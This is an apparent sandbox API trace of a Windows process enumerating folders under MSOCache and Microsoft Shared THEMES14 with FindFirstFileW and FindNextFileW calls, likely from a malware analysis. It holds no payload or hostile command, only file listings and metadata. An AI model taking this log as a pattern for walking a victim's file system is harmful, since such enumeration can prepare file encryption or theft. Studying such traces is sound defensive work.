	[0089.608] FindNextFileW (in: hFindFile=0x35d0388, lpFindFileData=0x3a4f58c | out: lpFindFileData=0x3a4f58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1
	[0089.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3eb04a8
	[0089.608] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x35d03c8
	[0089.609] FindNextFileW (in: hFindFile=0x35d03c8, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0089.609] FindNextFileW (in: hFindFile=0x35d03c8, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1
	[0089.609] FindClose (in: hFindFile=0x35d03c8 | out: hFindFile=0x35d03c8) returned 1
	[0089.609] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3eb04a8 | out: hHeap=0x4a0000) returned 1
	[0089.609] FindNextFileW (in: hFindFile=0x35d0388, lpFindFileData=0x3a4f58c | out: lpFindFileData=0x3a4f58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x306c88c0, ftLastAccessTime.dwHighDateTime=0x1d50c3c, ftLastWriteTime.dwLowDateTime=0x306c88c0, ftLastWriteTime.dwHighDateTime=0x1d50c3c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1
	[0089.609] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3eb04a8
	[0089.609] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x306c88c0, ftLastAccessTime.dwHighDateTime=0x1d50c3c, ftLastWriteTime.dwLowDateTime=0x30714b80, ftLastWriteTime.dwHighDateTime=0x1d50c3c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x35d03c8
	[0089.609] FindNextFileW (in: hFindFile=0x35d03c8, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x306c88c0, ftLastAccessTime.dwHighDateTime=0x1d50c3c, ftLastWriteTime.dwLowDateTime=0x30714b80, ftLastWriteTime.dwHighDateTime=0x1d50c3c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0089.609] FindNextFileW (in: hFindFile=0x35d03c8, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1
	[0091.890] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x3a4ee18 | out: lpFindFileData=0x3a4ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7ff, dwReserved1=0x8000, cFileName="..", cAlternateFileName="")) returned 1
	[0091.998] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x3a4ee18 | out: lpFindFileData=0x3a4ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x7ff, dwReserved1=0x8000, cFileName="Proof.XML", cAlternateFileName="")) returned 1
	[0093.380] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.380] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1
	[0093.381] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f202a8
	[0093.381] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d760
	[0093.381] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.381] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1
	[0093.382] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1
	[0093.383] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0093.383] FindClose (in: hFindFile=0x51d760 | out: hFindFile=0x51d760) returned 1
	[0093.384] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f202a8 | out: hHeap=0x4a0000) returned 1
	[0093.384] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1
	[0093.384] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f202a8
	[0093.384] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d760
	[0093.384] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.384] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1
	[0093.384] FindClose (in: hFindFile=0x51d760 | out: hFindFile=0x51d760) returned 1
	[0093.384] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f202a8 | out: hHeap=0x4a0000) returned 1
	[0093.384] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1
	[0093.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f202a8
	[0093.385] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d760
	[0093.385] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.385] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1
	[0093.385] FindClose (in: hFindFile=0x51d760 | out: hFindFile=0x51d760) returned 1
	[0093.385] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f202a8 | out: hHeap=0x4a0000) returned 1
	[0093.385] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1
	[0093.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f202a8
	[0093.385] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d760
	[0093.386] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.386] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1
	[0093.386] FindClose (in: hFindFile=0x51d760 | out: hFindFile=0x51d760) returned 1
	[0093.386] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f202a8 | out: hHeap=0x4a0000) returned 1
	[0093.386] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1
	[0093.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f202a8
	[0093.386] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d760
	[0093.386] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.386] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1
	[0093.387] FindClose (in: hFindFile=0x51d760 | out: hFindFile=0x51d760) returned 1
	[0093.387] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f202a8 | out: hHeap=0x4a0000) returned 1
	[0093.387] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1
	[0093.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f202a8
	[0093.387] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d760
	[0093.387] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.387] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1
	[0093.388] FindClose (in: hFindFile=0x51d760 | out: hFindFile=0x51d760) returned 1
	[0093.388] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f202a8 | out: hHeap=0x4a0000) returned 1
	[0093.388] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1
	[0093.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f202a8
	[0093.388] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d760
	[0093.388] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.388] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1
	[0093.388] FindClose (in: hFindFile=0x51d760 | out: hFindFile=0x51d760) returned 1
	[0093.389] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f202a8 | out: hHeap=0x4a0000) returned 1
